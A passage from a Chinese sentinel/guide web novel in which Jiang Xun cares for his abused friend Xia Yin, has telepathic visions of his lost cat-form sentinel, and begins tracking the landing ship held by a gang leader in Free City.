又左拐，进入诊疗室，看向连着诊疗室的那间上锁的房间。 果然，现在房门上没有挂锁，门下的缝隙里，漏出一线灯光。 侧身过去，在房门上敲了敲。 “夏因，你还好吗？夏因！夏因？” 叫了半天，房中都没有人应声。 想到刚刚那哨兵的话，江寻心下一紧，也顾不得那么多了，手上一推，便走进了这间他从未涉足过的房间。 房间里的灯光十分昏暗，朦朦胧胧地照下来，看不太分明。 房里除了摆在中央的一张大床与床头的两个柜子之外，没有什么其他的家具，墙上却挂着好些道具。 江寻打眼扫过去，有绳子，有穿着许多铃铛的装饰品，更多的是他也看不出用途的东西。 中央的大床上，艳红的被子被拉了一半下来，半拖在地毯上。 而夏因，此刻正不着寸缕地倒卧在被子上。整个脑袋向后悬空倒仰下来，两只手维持着被绑缚的姿态高高举过头顶倒挂下来。 旁边丢着一些乱七八糟的东西，身上狼藉一片，腿间带血，人事不知。 像是一只即将夭折的小鸟。 江寻只觉心间一股怒火燃起，可比怒火更多地占据在心中的，是痛心。 快步走前几步，用被子团团裹住夏因，江寻一边轻拍着他的脸颊，一边唤着他的名字，好半晌，才听到他吐出一声痛苦的低吟。 还有回应就好，江寻稍稍放下了心，这时候也顾不得尴尬了，取了毛巾净水，先给他把身上清洗干净，抱回了他自己的卧室里。 又去取了几种药膏，给他身上的伤口与淤青都上了药。 过程中，夏因一直没有清醒过来，到了下半夜的时候，还发起了烧。 江寻一步也不敢远离，一晚上都在给他用酒精降温，喂水喂药。 终于，当窗外的太阳再次升起的时候，夏因呢喃一声，睁开了眼睛。 一晚上没闭眼，江寻已经非常困倦了，坐在床前支着头，感觉自己随时都能睡过去。 夏因一睁开眼睛，便看到了在自己床边支着的人，微微一楞。 “你……” 一开口，声音却嘶哑绵软，难以维系。 好在江寻一直都注意着他，刚有动静，马上就坐直了起来，一边伸手去摸他的额头，一边问道：“你感觉怎么样？身上还痛吗？” 夏因被江寻覆上来的手掌轻轻推到，头向后微微一仰，正正看进江寻凝注在他身上的眼眸里，吐到嘴边的“不痛”二字突然卡在了那里。 从离开兰台以来，始终戏谑的、嘲讽的、不在意的、冷漠的眼睛，突然忍不住湿润了起来。 下一刻，汹涌的眼泪如连绵大雨奔涌而下。 “江寻，好痛……我好痛！” * 夏因一直哭了很久，直到没了力气，才困倦着重新睡了过去。 没有他这位医生，今天的诊所也没法开张。 江寻给他盖好被子，身上重新换了药，又在床头留下一杯清水，这才回了房。 夏因的遭遇让他心痛之余，有了一种物伤其类的忧心。 不由再次想起了记忆中的那个人。 其实江寻对他的印象真的十分模糊，甚至不知道他姓甚名谁，什么模样。 在他的记忆中出现更多的，一直是始终陪伴着自己的猫猫小树，而不是一个陌生的成年男人。 自从和他在无人星上分开之后，江寻始终没有去好好分辨两人之间的关系。 他曾经视他为相伴终生的家人，曾经与他亲密无间，在无数个夜晚里相伴相依。但这一切的落点在于他是永远不会离开自己的宠物。 他愿意，也有能力去承载一只宠物的整个世界。 可这些对于一个真正的人类来说是不行的。 人怎么能属于另一个人呢？ 江寻想到。 每个人都应该是平等自由的，他可以随时选择留下，也应该有随时离开的权利。任何人都不应该以任何名义去剥夺、主宰他人的人生。 即使是以爱为名，也不应该。 所以，虽然母亲在和父亲离婚后，就抛下了自己，重新去寻找自己的幸福，他也从没怨恨过她。 她是他的母亲没错，但在这一切之前，她先是她自己。她当然有权利摆脱让自己不幸的一切，去追求更好的生活。 你看，即使是父母家人，都不会理所应当地一直陪伴着自己，又怎么能要求其他的人做到呢？ 更何况，他从头到尾都在欺骗着自己，也从没表露过什么。 也许就像夏因所遇到的那个哨兵一样，他原本就没打算一直留在他身边。他只是在自救。只是在快要死亡时遇到了刚好能够救他的自己。 其实江寻没有怪过他隐瞒自己。 人想拯救自己有什么错呢？ 如果不是他开始的隐瞒，在当时的情况下，自己肯定不会去接近信任一个陌生人，也就不会发生后面的一系列故事了。 他是一个哨兵，是一个生在这里，长在这里的人。在这个属于他的世界里，他一定有着自己的家人，自己的事业，自己的追求梦想，自己的前途抱负。 自己只是在他生命的旅途中出现的一个意外。 虽然这个意外改变了他的命运，但意外只是意外。 自己对他也一直都是对待家人，对待宠物一样的感情，这份感情的份量，怎么能够和另一个人完整的生命线放在一起称量呢？ 他也没有资格、没有能力，去承载另一个人的命运。 所以，他才会在自己彻底治愈他之后决绝地离开吧？ 也许这就是他为他们两个设定好的结局。 也许他此时已经重新与自己的父母家人重聚在了一起，开始享受起充实的人生了。 只有自己，失去了方向，失去了希望，被困在了这里，久久无法摆脱。 江寻苦笑。 也许就结束在这里是最好的，当做彼此生命中神奇的一段过往。 然后体面的道别，各自走上各自的未来。 等到以后年老身頽，儿孙绕膝之时，还可以坐在炉边给他们讲述这段奇妙又美好的过往。 江寻的手指从一直放在床头的铭牌上一点点摩挲而过，在纷乱的思绪中，渐渐沉入了梦乡。 * 待得一觉睡醒，太阳已经快要坠下地平线。 江寻揉着太阳穴出了房门，正看到夏因正一瘸一拐地，把一盘小菜端出来放上了桌子，忙上前一步，从他手上接了下来。 “什么时候醒来的？怎么这就起来了？伤口还很痛吧？” 夏因也没有去夺江寻手上的活计，见他已经动作利落地把盘子摆上了桌，也就从善如流地坐下等待开饭。只是落座的时候，还是忍不住龇牙咧嘴地轻呼了一声。 江寻一见他的模样，心下明了，忙走到前厅的沙发上取了个软垫来，给他垫在了座位上，这才继续去端饭菜。 “是你自己做的？怎么不叫我起来？” 稀粥，简单的小菜。 一看这个搭配，江寻就知道是夏因自己做的。之前几次自己忙着招呼顾客，没空做饭的时候，他就是这么随意搞一些吃的，对付过去的。 估计今天也是如此。 “我又不是动不了，这点伤算得了什么？” 夏因头也没抬，似乎在出神想着什么，一看江寻把盛着稀粥的碗放在了他面前，一低头就要去喝。 “哎！等等！小心烫！” 刚出锅的粥水，烫得碗沿都要端不住了，结果江寻刚把粥碗放在了夏因面前，他便低下了头去，急得江寻连忙手一伸，挡在了夏因和粥碗中间。 被这么一阻，夏因这才回过了神来，但还是没反应过来怎么了，抬起头来睁大了眼睛奇怪地看向江寻。 江寻正要说话，一对上那双眼睛，却突然怔住了。 这一幕，如此熟悉。 似乎很久之前，也有一双眼睛曾经这样看向自己…… …… “江寻？江寻！你怎么了？” 夏因见江寻突然就愣在了那里，奇怪地喊了他两声。 江寻神思出走了片刻，又被夏因的呼唤声叫了回来。 回过神来，应了一声：“没什么。” 便又坐了下来，只是神色间却还有些怔愣。 夏因若有所思地看了他一眼，便也低垂下了眼帘。 两人就这么安安静静地吃完了饭。 饭罢，无事可做，两人又都是下午刚刚睡过的，一时不想睡觉。 夏因便拖着江寻，窝上了沙发，聊起了天来。 正好江寻也想和他好好谈谈，便从善如流地坐了下来。 明明是夏因先提议的聊天，却是由江寻先问了起来。 “夏因，我一直想问你，过去的事已经过去了，你现在已经脱离兰台，脱离血狼帮了，完全可以放下那些事，重新开始你的生活了。为什么还要像现在这样每天都去给不同的哨兵疏导呢？以你现在的向导等级，这样做，很勉强的吧？” 夏因听罢江寻的疑问，嘴角抿了抿，抬眼看了看江寻，回道： “说脱离哪里是那么好完全脱离的？你知道这个城市里，有多少找不到向导疏导的哨兵，又有多少个适龄向导吗？我一个单身向导，无权无势，只要还呆在这个自由城里，就没法摆脱为那些哨兵疏导的命运。” “像我如今这样收钱办事，还算是好的。那些哨兵只要给钱，就能得到自己想要的，就不会做出一些极端的事。我起码可以有一些控制力，一天只安排一个人疏导。” “若是我完全拒绝了所有人，那根本不用等什么血狼帮，恐怕只是那些散兵游勇，就能让我重新回到那种暗无天日的时候。” “更何况……”，说到这里，夏因顿了顿，眼神幽深了一些，随即摇了摇头，“没什么。” “好了，我的事我全都告诉你了，也给我讲讲你的呗？你和你的哨兵又是怎么回事？” 夏因此时已经丝毫不见了早晨时的脆弱，两脚盘上了沙发，怀里抱着个抱枕，目光炯炯地看向江寻，此时看上去终于像了他的真实年纪。 “我的事啊……” 江寻犹豫了下，想了想，除了穿越的事之外，似乎也没什么不能给夏因说的，便从头开始回忆起在那无人星上的过往，慢慢对夏因道了出来。 “我一开始与他见面的时候，其实不知道他是哨兵。准确的说，我直到最近才知道他是个哨兵……” …… “……所以，这不能说这是我和我的哨兵的故事，我们之间的关系还远远未达到那个程度。我觉得，我们也许就是因缘际会，碰巧在那个时间，那个地点，命运交汇在了一起，得以相遇相处了这么一段时间吧。” “没什么刻骨铭心，也没什么痛彻心扉，同样也没有谁对不起谁。” 江寻一边回忆着，一边对着夏因慢慢讲述道。 夏因没想到会听到这样一个故事，这与他猜测里的完全不同。 “但是他一直在骗你是事实，”夏因说道：“他没有暴露出真面目，也许只是因为你们的关系还没达到他计划中的程度，就被追杀者意外打断了。” “若是如你所说，他一开始一直保持着与精神体的融合状态存在，那必定是堕化已经严重到无法变回去了。一般没有向导的哨兵，除非必要，根本没有人会在非战斗场合保持自己的融合状态。” “要知道，每保持这种状态一秒，离彻底堕化就更近一步。” “他连一个匹配度达到60%以上的向导都找不到，那他大概率等级不高，没什么资源背景。这种情况下，意外遇到了一个匹配度又高，能力又强到可以彻底净化他的精神力的向导，有多么难？” “他不可能就这么放开你的！” 江寻一怔，顺着这个思路想来，似乎也是说得通的。 夏因等待江寻消化了片刻，又接着追问道：“那你又是怎么来到我们自由城的？” “那是个意外，”江寻苦笑道：“我乘坐的小型登陆舰在路过附近的航域时，意外撞进了一场舰队级的战争之中，不小心受到了波及，这才意外坠落在了这里。” 听到这个回答，夏因张了张嘴，有些不可思议：“居然是这样……” 沉默片刻，看着江寻微微怔愣的神情，又冷不丁地问道：“那你现在是怎么想的呢？你还想找回他吗？” 江寻苦笑：“我如今要怎么找呢？我连他的姓名样貌都不知道，除了知道他是个哨兵以外，对他一无所知。我甚至都不能保证自己明天还能好好的活下去。这又哪里由得我去做选择呢？” 夏因看着江寻，皱起了眉头：“那就是说，你还是想找回他的，是吗？” 江寻手指一颤，良久无言。 两人在略有些沉默的气氛中结束了谈话，谁也没有说服谁。 江寻靠躺在窗口，看着天边那颗巨大的启明星，散发着无匹的光芒，把整个世界映照成一片银白。 心中不断想着今日里夏因的话语，神志慢慢坠入了梦乡。 待得江寻彻底睡了过去，天边那条远远延伸过来的线，像是接收到了什么命令，再次遥遥投入了江寻的身体。接着，从中卷住了什么东西，又被拉扯着急速收了回去。 第73章 熟悉的拉拽感袭来， 江寻的意识迅速从沉眠中甦醒过来，“睁”开眼睛，一片晃动的视野突入他的视线。 这是…… 梦境的蒙昧渐渐散去， 江寻眼前的景象渐渐清晰起来， 耳边似乎也传来了“叩叩叩”的脚步声。 他看着身边的情境， 醒悟了过来。 他又在别人的身体中醒来了。 他是…… 江寻心中惊疑不定，仔细地看向周围的环境，希望能获得一些线索。 身体的主人正独自行走在一条长长的走廊上。 白色的走廊， 宽阔而安静， 毫无生气。 眼角余光中，断断续续现出一些身上的细节。 纯黑挺括的制服，铮亮闪耀的袖扣，肩膀上自然垂下，在肩头摇曳着的流苏，上臂腰间， 紧紧束扎起来的皮带。 一个军人？ 江寻眼看着身体的主人沿着这条毫无特征的走廊走到尽头， 一道大门在他的脚步踏入门前时自动打开。 身体的主人越走越快， 走过大厅，踏上楼梯， 随后在迈入一间内室之后，视线陡然下沉。 下一刻， 挺括的制服松散坠地，在脚边堆砌起来。腰带的搭扣， 磕在地板上发出清脆的声响。 一只熟悉的灰色爪子从衣物之中迈了出去，向前一跃，于是，许许多多熟悉的物件映入了江寻的眼帘。 已经有了很多磨损痕迹的木板被安插在墙壁上；布套被抓花了一些的沙发， 侧着大门安置在房间中间；落地窗上挂着样式熟悉的窗帘；一只橘色的软垫被放置在编织而成的吊篮里，正正挂在摆满了许多纸张、文具的书桌旁。 爪子的主人一个小跑，脚下轻点几下，便顺着墙上次第排列的木板跳上了最高处，头一低，钻进了正正挂在墙壁正中的小木屋里。 爪子拨动几下木屋里到处丢着的各色小玩意儿，在木屋中间铺着的一件衣服上团团卧了下来，脑袋侧低下去，眷恋地在身下的衣服上磨蹭几下，喉咙里哼出带着泣音的喵叫。 江寻定定看着眼前的一切，在这一刻彻底确定了身体主人的身份。 下一刻，四周的景象又模糊了起来，江寻眼前一花，拉扯的感觉再次袭来…… * 江寻一个激灵从沉眠中醒了过来，一下子坐直了身体。 刚刚经历的梦境仍然能清晰地浮现在他眼前，不仅仅是画面。江寻摊开双手，连刚刚爪子在地板上蹬踹的力道他都能清晰地记起。 这是日有所思夜有所梦？ 这个念头一出现就被他自己否定了去。 不可能。 即使画面是自己做梦幻想出来的，可那身处于一只猫咪体内的感觉却是他绝对没经历过的。没经历过的事情，他又怎么会这么清晰的感受到呢？ 那都是真的？ 我刚才附身在了不知离我多远的小树身上？ 江寻的脑袋被自己的猜测搞得一团浆糊，这种不符合科学常理的事情，突然发生在他身上，实在让他难以相信。 看一眼窗外依然黑沉沉的天色，此时离天亮还早，可江寻却忍不下去了。 起身翻出夏因前些天给他的书册，就开始翻看了起来。 可找了半天，却没有找到自己想看的东西。 直到太阳也从主星身后慢慢升了起来，夏因才打着哈欠，走出了房门。 一抬头，却见江寻正抱着本书，坐在沙发上炯炯地望着他的方向，一见到他出来，便急急地站起了身。 夏因被江寻这股子急迫唬了一跳，忙问道：“出什么事了？你怎么了？” “夏因，我有点事想问你。” …… “相隔很远的情况下，让两个人产生联系的技能？” 夏因奇怪地看着江寻，没想到他一大早把自己拦下来，却是为了问一个这么奇怪的问题。 但还是坐了下来，从自己的记忆里搜寻着。 “你说的很远，大概是多远呢？” 江寻想了想，说道：“嗯……至少相隔几个星球的距离吧。” “啊？” 夏因惊讶地睁大了眼睛。 “这么远？！” 他还以为是几公里这种范畴，几个星球？那完全超过了他的想象范畴。 “这么远怎么可能做得到啊？传说中S级的向导，技能的最远作用范围也就在几公里之内吧？别说越过几个星球了，能相隔一座城市都是几乎不可能的啊！” 江寻也知道自己的问题有些天方夜谭，可事实摆在他面前，一连两次的联系，他不觉得这是他的幻觉。 “真的没有其他可能了吗？” “怎么可能啊！再强的向导也只是一个人类而已，怎么可能会有这么夸张的技能啊……” 夏因说着说着，声音却越来越小，神情也若有所思起来，似乎真的想到了什么。 江寻一眼看出了夏因的反应，眼中一亮。 “你是不是想起什么了？” 夏因思索了片刻，神情古怪地看向江寻。 “我还真的想起了点东西。不过，这都是一些久远的传闻了，基本都没有被验证过。” “是什么？”江寻忙追问。 “你听说过‘刻印’吗？” “听说，当匹配度极高，情感链接也非常紧密的一对儿哨兵向导，正式结合绑定在一起的时候，有很小的概率会发生一种刻印现象。” “刻印会在双方的身上留下对方的‘印痕’，同时，有概率会生成出独一无二的强力刻印技能。” “这些刻印技能的出现完全随机，作用千差万别，但无一例外，都会比普通的哨向技能强大得多。历史上出现过的刻印伴侣，无一不是名动四方的强大能力者。” 夏因认真地向江寻解释着： “我记得，有记载的曾经出现过的刻印技能里，就有一个叫做“精神锚点”的技能，技能描述便是：无论相隔多远，都能以对方为精神坐标，快速稳定自身或找到对方。” 江寻一边回忆着，一边琢磨着这个“刻印”，听到一处，又蹙起了眉头。 “你是说，这个‘刻印’是发生在两个人正式结合绑定的时候？没有例外吗？” 夏因也挑了挑眉：“刻印本就极其难得，即使是两个人正式结合的时候，出现的概率都极低，怎么会有例外呢？至少我看过的文献资料都没有提到过类似的例子。” 可我们明明没有结合啊，我身上也没出现什么类似的“印痕”啊。 江寻暗自想到，想着想着，又是一顿。 之前他对哨兵向导与精神力的具体应用不甚明了，所以一直没仔细想过两人分开那天发生过的事，此时突然想起，再结合这几天学到的知识一看，小树那天拉着自己的精神力进入他身体的行为，不就是绑定行为吗？ 可是不是说绑定是需要身体结合的吗？ 只是精神绑定吗？ 可即使是精神绑定，也是需要在双方一起作用的情况下的，那天明明只有自己的精神力侵入到了他的身体里，这到底算个什么状态？ 江寻这么想着，就直接问了出来。 夏因似乎根本没想过江寻会问出这样的问题，眼神奇异地看了他一眼，道： “只有一方的精神力侵入了另一方的身体里？是的，很久以前是有这种情况的。” “刚开始，整个人类社会刚刚开始认识哨兵向导，而向导的稀缺性初现端倪的时候，曾经出现过哨兵为了强行占有向导，单方面侵染向导的情况。” “这种情况下，成功率很低，因为被侵染的一方，一旦潜意识里出现抵抗的意识，精神核心就会被紧紧封闭在他的精神体内，除非两人之间的能力等级相差过远，否则，很难成功。” “不过，一旦成功，那被侵染的一方，就会单方面与侵染者绑定在一起。从此，其他人的精神力都无法与他产生共鸣，他也只能接受侵染者的疏导或者补偿了。” 看着江寻的面色随着他的讲述慢慢变化起来，夏因也慢慢变了脸色。直至这个问题问罢，他的面色已经完全黑了下来。 “你为什么这么问我？你之前的那个哨兵，曾经趁你什么都不知道的时候，侵染了你的精神核心，单方面强行让你和他绑定了吗？” 江寻面色复杂地看了夏因一眼，开口道：“不，正好相反，似乎是我，单方面侵染了他的精神核心。” “啊？！” 夏因的嘴巴惊讶地张大，面上神色因为震惊空白了下来。 * 与夏因的谈话结束，江寻心中的疑问解开了一些，但想不通的事却更多了。 比如说，那种奇妙的附身在对方身上的能力，到底是什么？它是怎么发生的？对他们两个人会有什么影响？ 他两次看到的情景都是现实里真实存在的吗？ 小树又为什么要在自己给他完全净化完毕之后，单方面的与他精神绑定？ 可虽然心中的疑问又变多了，但一个决定却清晰了起来。 他要找回小树！ 即使自己还不能明确对他抱持着的，究竟是一种什么样的感情。也不知道，他当初为什么一直欺骗自己，为什么与自己绑定，现在又是否后悔了。 可自己曾经真心诚意地对他承诺过，做了他的“猫”，只要他不主动离开，自己就会一直与他在一起。 我要找到他，当面和他问清楚！—— 作者有话说：[化了]不知道能不能写完第二个3Q，12点前没发就没有咯，宝宝们别等了，直接明天来看吧~爱你们[比心] 第74章 几日来的沉疴尽去， 江寻马上感觉整个人的状态都畅快了许多。 一旦有了目标，连脑子似乎都比平时运转得快了。 要在茫茫宇宙里找到一个不知道名字、不知道容貌的人，要不然找出他的身份， 要不然找出他所在的位置。 过去的回忆如雨划过脑海， 江寻细细从中寻找着关于他的讯息。 小树的人形， 似乎是灰色头发，与他做猫咪时一样的墨绿色眼睛。身高比自己稍微低上一些，那就是差不多180到185之间的样子。身材比较瘦， 身上似乎没什么明显的特征。 精神体的话， 应该就是他一直维持着的灰猫姿态了。 他们遇到的地方是一个无人的宜居星……嗯，符合这一点的星球似乎很多，其他信息的话，一个太阳两个月亮？似乎也找不到什么独特的地理特征了。 嗯，先按已知的这些信息去找一下吧。 脑子里有了定计，江寻首先问上了夏因。 “精神体是灰猫， 灰发绿眼？” 得知江寻还是决定要去找那个哨兵， 夏因心情很是复杂， 欲言又止了一下，还是决定先帮帮他看看。 “这个外貌和精神体， 联盟里面太多了啊，没有具体一点的讯息的话， 是找不到人的。” “无人的宜居星，身处一颗恒星的星系之中， 自身还有两颗卫星……我能记住的都是联盟里比较有名的星球，在我的印象里，没有全部符合你说的特点的星球。这个描述，更像是私人星球或者仍然存在本土文明， 还未完全纳入联盟中的星球。” “一个星球的面积那么大，你确定当时那个星球上，真的只有你们吗？” 夏因的话让江寻愕住，细细想来，的确，他一直认为那里是无人星，是因为他一直没在那里看到过其他人的踪影。 但是他从穿越到被迫离开，平日里活动的范围都只有那么一块。 这种大小，对整个星球来说，轻如鸿毛吧。 那这么说来，这个星球也不一定是无人星。 啧，能够确定的信息里，都没有什么独特的地方啊。 摇了摇头，一条路似乎走不通，江寻又马上转换思路，回忆起在他的两次感应中看到的东西。 可惜的是，这两次附身，小树所在的位置都在室内，身边也没出现什么独特的物品，他只知道对方的现实身份应该是一个军官，经济情况似乎也不错，起码居住的房子很大，更多的就没有了。 两个方面能提供的线索都太少了，江寻有点烦恼，按照这个信息去找的话，联盟的疆域这么大，怎么能找得过来？ 一定还有什么被我遗漏的东西吧！ 江寻再次从过往的记忆里寻找着线索，当回忆起小树强行把他送出星球时，忽地一下睁大了眼睛。 对了，他记得，他当时是被小树强行固定在了登陆舰上的，小树在设定好了一系列指令之后，登陆舰的AI系统便开始了自动运行，把他送进了太空里。 之后的路上，一直到自己再次醒来以后，登陆舰也一直是自动运行，向着某一个方向一直穿梭的。 它一路上的航行路径都是当时的小树设置好的吧？那它的目的地是哪里？ 从他的两次附身经历来看，小树应该也没有排斥自己，不想再见自己吧？那会不会，他当时在登陆舰上设置的目的地，就是他现在所在的地方呢？ 这个方向令江寻精神一振。 这应该就是他能接触到的，指向信息最明确的情报了吧。 而当时那艘登陆舰，此时应该就在这个自由城里！ * 大卫和盖瑞手里提着空空如也的破旧口袋，唉声叹气地走在回住处的路上。 他们是职业“秃鹫”，靠着每日里从自由城中运出来的大量垃圾中，捡拾比较值钱的废品度日。 近日里也不知是怎么的，城里的气氛紧张了许多，城主府与血狼帮的冲突也少了，似乎双方都在积蓄着力量想要做些什么。 受此气氛影响，城里那些有钱人的活动都变少了，值钱的垃圾也少了许多，反倒是出城碰运气的“鬣狗”多了许多，搞得他们几乎都没了收入。 路过街边小店，刚出炉的烧鸭香味飘出，勾得盖瑞的口水直流。 往日里他是想都不敢想，要赶快走开的。可前阵子刚有了一笔意外的收入，这会儿，便有些忍不住了。 拽住走在自己前面的大卫，小声说道：“大哥，好香啊！我们买只烧鸭回去吃吧？” 走在前面的大卫心里一虚，却是面色一变，竖起眉毛就回身冲着盖瑞低吼起来：“吃什么吃！成天就知道吃！我们是有很多钱吗？照你这吃法，多少钱也给你吃没了！” 盖瑞有点委屈，虽然他这几天总是提出想吃烧鸭，可大卫也就买了一次，根本就没花多少钱！他可是看见大卫给自己买了和那些住在城中心的有钱人一样的烟草的！还不止一次！ 可一直以来的淫威让他不敢反驳对方，嘴唇嗫嚅几下便跟着大卫一起，依依不舍地离开了这个街区。 两人拐入一条小巷，正要抄近路回到他们落脚的地方，却见走着走着，前方忽然闪出了一道人影。 还未等他们高兴今天居然能捡到一个落单的肥羊，就见那人影身影一矮，下一秒就直直突进到了站在前面的大卫面前。 “砰！” 电光火石之间，人高马大的大卫就被来人掀翻在了地面上，呻吟着翻滚了起来。 紧接着，那人影只是闪电般一伸手，盖瑞的脖子上就被一只铁钳般的大手掐住，一拉便踉跄着跪在了人影面前。 “啊——！别……别杀我！” 盖瑞被吓得亡魂大冒，声音却被喉咙上的大手遏制住，话都说不清楚。 此时，面前的人影才抬起了头来，让盖瑞看清了他的脸。 不同于俗流的英俊面庞一映入盖瑞的眼帘，马上就让他的眼睛睁大了起来。 “是……是你！” 他想起来了，面前的人就是被他和大卫，在前阵子当做材料卖进夏因的诊所的那个人！ 前阵子，他们好运的第一个在郊外遇到了一艘外表破损严重的小型登陆舰。本以为可以发一笔横财，却被后续赶来的帮中另外一帮“鬣狗”抢走了战利品，只把从中找到的这个昏迷不醒的人，丢给了他们当做“劳务费”。 对方人多势众，他们也不敢反抗，只得把面前这人卖到了夏因的诊所，换了一笔钱补偿他们的损失。 谁知道，这人竟然没死！ “饶命啊！我只是个跟班！都是你脚下的那个人要把你卖掉的！” 盖瑞见连一向能打的大卫都在一个照面里被打趴了下去，被男人一只脚稳稳地踩着，喉咙里赫赫作响却起不了身，立马果断地卖掉了他，只希望男人能在干掉大卫之后消消气，放过他的性命。 江寻挑了挑眉，虽然他的确打算来硬的，直接从面前着两人口中问出登陆舰的下落，可他也实在没想到，他还没开口呢，面前的人自己就已经内讧了起来。 不过这样也好，胆子越小对他越有利。 于是也不耽搁，直接单刀直入：“载着我一起降落在自由城的那艘登陆舰，被你们卖去哪里了？” 盖瑞见来人似乎不是为了报仇而来，只是问话，稍稍松了口气，语气更加殷勤了些，生怕对方一个不满意，就手一紧，把他捏死在这里。 “冤枉啊大哥！那艘登陆舰可没落在我们手里啊！我们刚发现了你，就被血狼帮里另一伙人截了胡，登陆舰是被他们带走的，我们不知道啊！” 江寻眉头一皱，他原本以为从面前人的嘴里就能得到确切的线索，没想到中间还有这一出！ “是谁带走的？他叫什么？在哪里？” 盖瑞赶忙答道：“领头的叫文森，是谢堂主的手下。不过他也只是个小人物，一艘登陆舰这么大的事，他是做不了主的，这登陆舰最后八成是落进谢堂主手里了。” 闻言，江寻的面色更加不好看了：“谢堂主？谢谦？” 盖瑞忙不迭地点头：“对对对！您认识谢堂主啊？就是他！” 江寻凝眉沉思了片刻，这才一把将手上提着的人甩在了一边。 盖瑞被这一下重重砸到了墙面上，却丝毫也不敢吱声，见面前的人没准备再理会他的样子，马上一溜烟便跑了。 偷偷回头看了一眼那个站着的高大人影，正看到他从地上已经缺氧昏迷过去的大卫身上挪下了脚。可惜地叹了口气。脚下加快了步伐，他要赶快收拾东西逃跑了，这人放过了他，可刚刚才被他出卖的大卫可不会饶过他，他要赶在他回来之前，提前收拾东西跑路了。 江寻没去管一逃跑一昏迷的两个喽啰，低着头顺着小巷另一头钻了出去，便混入了人流之中，向着诊所的方向走去。 他只是借口买东西出来的，停留得久了，待会儿回去夏因又要骂人了。 只是，谢谦…… 他倒是没想到，才刚刚听过这个人的“事迹”，马上就遇到了与他有关的事。 要怎么做呢？ 沉下了表情的江寻，面容现出了在他脸上少见的冷酷，双眸缓缓转动，若有所思—— 作者有话说：江江在行动！[加油] 第75章 “我回来了。” 江寻手提一包食材， 踏着晚霞回到了诊所里。 夏因中沙发上一跃而起，一边迎上来一边抱怨：“怎么去了这么久！你再不回来我都要以为你被谁抓去了呢！” 江寻笑笑：“街上今天有一群人聚众打架，那一条街道都被他们封锁了， 我绕了些路才回来， 这才晚了点。” 夏因皱了皱眉：“没听今天来诊所的人说啊……算了， 你没事就行。” 江寻一边把手上的东西一样一样整理出来，一边不经意地问道：“今天看到的那群人，人数还挺多的， 就这么在光天化日之下聚众斗殴， 还堂而皇之地封锁了一整条街道，这些城主府难道都不管吗？” “那要看他们背后是谁了，若他们只是一帮散兵游勇，那城主府当然乐意在他们身上立一立威，可若是背后有人……” 夏因溜溜达达地跟在江寻身后，也不帮忙， 背着手伸着脑袋， 看着他慢慢把买回来的各色食材整理出来放好， “那他们就全成了一堆瞎子聋子！城主府，呵！这名头也就是明面上听着好听罢了， 在这自由城里，他们可还没法说了算！” “哦？”闻言， 江寻转过身来，看向夏因：“那在这里是谁说了算？你给我讲讲呗？” 夏因看了看江寻， 想了一下，点点头：“行吧，那你去把门关了吧，今天就提前歇业， 我给你好好讲讲，免得你什么也不知道，得罪了不能得罪的人。” 夏因像个大爷似得往沙发上一瘫，江寻适时地奉上一杯热茶，这才开启了话匣。 “首先，你知道咱们头顶上挂着的那颗行星，叫什么吗？”夏因食指指天，问道。 “官方名字叫做启明星，这里的人都把它叫做主星。”江寻答道。 “那你知道它为什么叫启明星吗？”夏因接着道。 江寻一怔：“这里面还有什么缘故？” “当然了，”夏因说道：“那是因为它是属于一间跨星际集团公司的私有产业。” “私有的？”江寻眼睛睁大，忍不住透过窗户看向高悬在他们头顶的巨大星球。 “是的，它是天启生命科学集团的私有产业，所以，被取名为启明星。”夏因抬头，看了看挂在头顶的主星，指了指星球表面靠右上方的一个亮度突出的小点，对江寻说道：“看到那个最亮的点没有？那里就是天启集团的总部所在。” 江寻震撼地抬头，看向行星上那个明显比周围高一个亮度的小点，第一次意识到，这个挂在自己头顶上静静高悬着的星球中，正有与他们相同的人类如他们一般在生活着。 “而我们作为启明星的卫星，比起联盟，自然更受天启集团的影响。” “天启集团虽然自身不是政体，但却是自由城中最大的赞助商，是城主府最大的支持者。同时，它又与血狼帮有着许多交易往来。所以，天启集团位于自由城的分部、城主府、血狼帮，这三者就是自由城中最大的三股势力了。” “原来如此。”江寻在心中给这三者一一排上位置。 “当然了，最高层的几个老大你估计也遇不到，天启公司和城主府的人也不太管我们中下层的事，你平时主要注意一下别惹上血狼帮的人就够了。特别是那帮成群结队一起行动的血狼帮成员。” “他们被叫做‘鬣狗’，是血狼帮里人数最多的一个派系，老大是，”夏因顿了一下，“是谢谦。专门负责的就是自由城内各个片区上的事。小到每个摊贩的保护费，大到帮派火拼，都是他们的活计，有时候还兼职强盗和人口贩子。” 夏因认真看向江寻：“千万别被他们发现你是向导，否则我恐怕也保不下你。” 江寻点了点头，心中对于谢谦的画像更具体了。 夏因看着江寻的样子，狐疑地皱了下眉：“你为什么突然问这些？你要做什么？” 江寻一瞬惊讶了一下，没想到夏因这么敏锐。 一看江寻下意识的反应，夏因还有什么不明白的，气急败坏地说道：“你要做什么？不管你要做什么，马上给我停下来！我告诉你这些，是为了让你远离他们！难道你想落到跟我一样的下场吗？！” “我知道的，别担心夏因，”见夏因情绪激动了起来，江寻忙安抚道：“我只是提前了解一下情况，在有把握之前，我是不会贸然做什么的。” 夏因一听这话，眼睛倏地睁大，一下子就跳了起来，怼到了江寻面前：“你还真的打算要做什么？！你疯啦！你干什么和他们作对？” “我有个重要的东西落在了他们手里，而且，”江寻看看夏因：“他曾经那样背叛你，怎么能让他不付出任何代价？” 夏因一愕，嘴巴张开，却不知道要说什么，心中蓦地一酸。 “……总之，你给我离他们远一点！我的仇我会自己亲手报的，你不要管！” 言罢，夏因不再继续说了，一扭身就回自己房间去了。 * 江寻此时确实没打算做些什么直接去对付谢谦和血狼帮。 他现在势单力孤，本身的直接战力虽然能在普通人中间耀武扬威，可对上正儿八经的哨兵就不够看了。 不过想办法给他们找点麻烦还是不难的。 听夏因所说，他手下的人手数量最多，管辖的范围又大，事物又杂。这样的情况下，他不可能对下面的所有情况都事无巨细的了解，那要从这里面找出点问题来，给他们找点麻烦，一定不难。 只希望他的这些手下们，别让他失望。 第二天，江寻也没有出门，只是在来店里的熟客们聊天时，适时丢出些问题，不动声色地引导着话题的走向。 感谢夏因，他这诊所天然就是个情报的流散地，许多讯息，他根本就不用没头没脑地出去乱找，在这里就能轻松得到。 …… “哎呀，你们是不知道，艾迪这小子，最近可是发了一大笔财。” “哦？那小子能发什么财？我怎么没听说？” 